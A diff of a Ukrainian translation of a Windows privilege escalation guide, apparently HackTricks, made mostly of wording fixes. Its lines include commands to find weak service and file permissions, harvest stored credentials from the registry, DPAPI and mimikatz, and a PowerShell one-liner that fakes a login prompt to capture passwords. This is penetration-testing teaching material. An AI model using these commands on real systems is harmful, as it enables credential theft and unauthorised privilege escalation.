FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||||
```
|
||||
### Послуги реєстру змінити дозволи
|
||||
### Служби реєстру змінити дозволи
|
||||
|
||||
Вам слід перевірити, чи можете ви змінити будь-який реєстр служби.\
|
||||
Ви можете **перевірити** свої **дозволи** над реєстром **служби**, виконавши:
|
||||
@ -549,13 +549,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
|
||||
```
|
||||
### Recovery Actions
|
||||
|
||||
Windows дозволяє користувачам вказувати дії, які потрібно виконати, якщо служба зазнає збою. Цю функцію можна налаштувати для вказівки на бінарний файл. Якщо цей бінарний файл можна замінити, можлива ескалація привілеїв. Більше деталей можна знайти в [офіційній документації](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
Windows дозволяє користувачам вказувати дії, які потрібно виконати, якщо служба зазнає збою. Цю функцію можна налаштувати для вказівки на бінарний файл. Якщо цей бінарний файл можна замінити, можлива ескалація привілеїв. Більше деталей можна знайти в [official documentation](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Applications
|
||||
|
||||
### Installed Applications
|
||||
|
||||
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/)).
|
||||
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -566,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
```
|
||||
### Права на запис
|
||||
|
||||
Перевірте, чи можете ви змінити якийсь конфігураційний файл, щоб прочитати якийсь спеціальний файл, або чи можете ви змінити якийсь бінарний файл, який буде виконаний обліковим записом адміністратора (schedtasks).
|
||||
Перевірте, чи можете ви змінити якийсь конфігураційний файл, щоб прочитати якийсь спеціальний файл, або чи можете ви змінити якийсь бінарний файл, який буде виконуватися обліковим записом адміністратора (schedtasks).
|
||||
|
||||
Спосіб знайти слабкі права на папки/файли в системі - це зробити:
|
||||
```bash
|
||||
@ -593,7 +593,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
```
|
||||
### Запуск при старті
|
||||
|
||||
**Перевірте, чи можете ви перезаписати деякі реєстри або бінарні файли, які будуть виконані іншим користувачем.**\
|
||||
**Перевірте, чи можете ви перезаписати деякі реєстраційні або бінарні файли, які будуть виконані іншим користувачем.**\
|
||||
**Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **місця автозапуску для ескалації привілеїв**:
|
||||
|
||||
{{#ref}}
|
||||
@ -616,7 +616,7 @@ driverquery /SI
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Для отримання додаткової інформації про те, як зловживати цим перевіркою:
|
||||
Для отримання додаткової інформації про те, як зловживати цим перевірте:
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -705,7 +705,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
|
||||
Сховище Windows зберігає облікові дані, за якими Windows може автоматично входити в систему, що означає, що будь-яка **Windows програма, яка потребує облікових даних для доступу до ресурсу** (сервера або веб-сайту) **може використовувати цей Менеджер облікових даних** та Сховище Windows і використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль.
|
||||
|
||||
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з сховища за замовчуванням.
|
||||
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з за замовчуванням сховища.
|
||||
|
||||
Використовуйте `cmdkey`, щоб перерахувати збережені облікові дані на машині.
|
||||
```bash
|
||||
@ -727,7 +727,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
|
||||
|
||||
### DPAPI
|
||||
|
||||
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи, щоб значно сприяти ентропії.
|
||||
**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, переважно використовуваний в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрети користувача або системи для значного внеску в ентропію.
|
||||
|
||||
**DPAPI дозволяє шифрування ключів за допомогою симетричного ключа, який отримується з секретів входу користувача**. У сценаріях, що стосуються шифрування системи, він використовує секрети аутентифікації домену системи.
|
||||
|
||||
@ -738,15 +738,15 @@ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
Ви можете використовувати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб розшифрувати його.
|
||||
|
||||
**файли облікових даних, захищені майстер-паролем**, зазвичай розташовані в:
|
||||
**Файли облікових даних, захищені майстер-паролем**, зазвичай розташовані в:
|
||||
```powershell
|
||||
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифровки.\
|
||||
Ви можете **витягнути багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви root).
|
||||
Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\
|
||||
Ви можете **екстрактувати багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви root).
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -800,7 +800,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
### AppCmd.exe
|
||||
|
||||
**Зверніть увагу, що для відновлення паролів з AppCmd.exe вам потрібно бути адміністратором і працювати під високим рівнем цілісності.**\
|
||||
**AppCmd.exe** знаходиться в каталозі `%systemroot%\system32\inetsrv\` .\
|
||||
**AppCmd.exe** знаходиться в каталозі `%systemroot%\system32\inetsrv\`.\
|
||||
Якщо цей файл існує, то можливо, що деякі **облікові дані** були налаштовані і можуть бути **відновлені**.
|
||||
|
||||
Цей код був витягнутий з [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
@ -906,7 +906,7 @@ SSH приватні ключі можуть зберігатися в реєс
|
||||
```bash
|
||||
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
```
|
||||
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH-ключ. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH ключ. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Якщо служба `ssh-agent` не працює і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
|
||||
@ -914,7 +914,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
> [!NOTE]
|
||||
> Схоже, що ця техніка більше не дійсна. Я намагався створити кілька ssh ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Реєстр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час асиметричної аутентифікації ключа.
|
||||
> Схоже, що ця техніка більше не дійсна. Я намагався створити кілька ssh ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Реєстр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричного ключа.
|
||||
|
||||
### Unattended files
|
||||
```
|
||||
@ -976,9 +976,9 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені як XML файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
Раніше була доступна функція, яка дозволяла розгортання користувацьких локальних облікових записів адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав значні недоліки в безпеці. По-перше, об'єкти групової політики (GPO), збережені у вигляді XML-файлів у SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі в цих GPP, зашифровані за допомогою AES256 з використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї.
|
||||
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості в безпеці.
|
||||
Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих GPP-файлів, що містять поле "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає користувацький об'єкт PowerShell. Цей об'єкт містить деталі про GPP та місцезнаходження файлу, що допомагає в ідентифікації та усуненні цієї вразливості безпеки.
|
||||
|
||||
Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли:
|
||||
|
||||
@ -1052,7 +1052,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Запит на облікові дані
|
||||
|
||||
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питання** клієнта безпосередньо про **облікові дані** є дійсно **ризикованим**):
|
||||
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питати** клієнта безпосередньо про **облікові дані** дійсно **ризиковано**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1155,7 +1155,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
### Історія браузерів
|
||||
|
||||
Вам слід перевірити бази даних, де зберігаються паролі з **Chrome або Firefox**.\
|
||||
Також перевірте історію, закладки та улюблені сторінки браузерів, можливо, там зберігаються деякі **паролі**.
|
||||
Також перевірте історію, закладки та улюблені сторінки браузерів, можливо, деякі **паролі зберігаються** там.
|
||||
|
||||
Інструменти для витягування паролів з браузерів:
|
||||
|
||||
@ -1170,7 +1170,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
Класи та інтерфейси COM визначені в реєстрі під **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** та **HKEY\_**_**CLASSES\_**_**ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Всередині CLSID цього реєстру ви можете знайти дочірній реєстр **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (однопотоковий), **Free** (багатопотоковий), **Both** (один або кілька) або **Neutral** (нейтральний до потоків).
|
||||
Всередині CLSID цього реєстру ви можете знайти дочірній реєстр **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (однопотоковий), **Free** (багатопотоковий), **Both** (один або кілька) або **Neutral** (нейтральний потік).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -1209,7 +1209,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять паролі, згадані на цій сторінці.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) є ще одним чудовим інструментом для витягування паролів з системи.
|
||||
|
||||
Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **сесії**, **імена користувачів** та **паролі** кількох інструментів, які зберігають ці дані у відкритому тексті (PuTTY, WinSCP, FileZilla, SuperPuTTY та RDP)
|
||||
Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **сесії**, **імена користувачів** та **паролі** кількох інструментів, які зберігають ці дані у відкритому тексті (PuTTY, WinSCP, FileZilla, SuperPuTTY та RDP).
|
||||
```bash
|
||||
Import-Module path\to\SessionGopher.ps1;
|
||||
Invoke-SessionGopher -Thorough
|
||||
@ -1219,7 +1219,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Leaked Handlers
|
||||
|
||||
Уявіть, що **процес, що працює як SYSTEM, відкриває новий процес** (`OpenProcess()`) з **повним доступом**. Той же процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковує всі відкриті дескриптори основного процесу**.\
|
||||
Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете отримати **відкритий дескриптор до привілейованого процесу, створеного** з `OpenProcess()` і **інжектувати shellcode**.\
|
||||
Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете захопити **відкритий дескриптор до привілейованого процесу, створеного** з `OpenProcess()` і **інжектувати shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1229,7 +1229,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
|
||||
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих трубопроводів** та **клієнт іменованих трубопроводів**.
|
||||
|
||||
Коли дані надсилаються через трубопровід **клієнтом**, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
Коли дані надсилаються через трубопровід клієнтом, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
|
||||
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованого трубопроводу за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1247,7 +1247,7 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
}
|
||||
```
|
||||
## Вкрадання паролів з процесів
|
||||
## Вкрадення паролів з процесів
|
||||
|
||||
## Від низького привілейованого користувача до NT\AUTHORITY SYSTEM (CVE-2019-1388) / Обхід UAC
|
||||
|
||||
@ -1324,8 +1324,8 @@ sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи _**.msi**_ обгортку.\
|
||||
[Більше інформації про залучені ключі реєстру та як встановити _.msi_ пакет тут.](#alwaysinstallelevated)
|
||||
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи обгортку _**.msi**_.\
|
||||
[Більше інформації про залучені ключі реєстру та як встановити пакет _.msi_ тут.](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
@ -1339,14 +1339,14 @@ sc start newservicename
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Тоді **сервер**, який створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імплементувати токен** клієнта каналу (служба), отримуючи привілеї SYSTEM.\
|
||||
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Тоді **сервер**, який створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імпсонувати токен** клієнта каналу (служба), отримуючи привілеї SYSTEM.\
|
||||
Якщо ви хочете [**дізнатися більше про іменовані канали, вам слід прочитати це**](#named-pipe-client-impersonation).\
|
||||
Якщо ви хочете прочитати приклад [**як перейти з високої цілісності до System, використовуючи іменовані канали, вам слід прочитати це**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо значно **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/)**.**
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
@ -1374,7 +1374,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевірка на неправильні налаштування**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує інформацію про збережені сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough в локальному режимі.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує облікові дані з Диспетчера облікових даних. Виявлено.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилення зібраних паролів по домену**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розподіл зібраних паролів по домену**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh є спуфером PowerShell ADIDNS/LLMNR/mDNS/NBNS та інструментом "людина посередині".**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Основна перевірка привілеїв Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих вразливостей привілеїв (ЗАСТОСУВАННЯ для Watson)\
|
||||
|
Loading…
x
Reference in New Issue
Block a user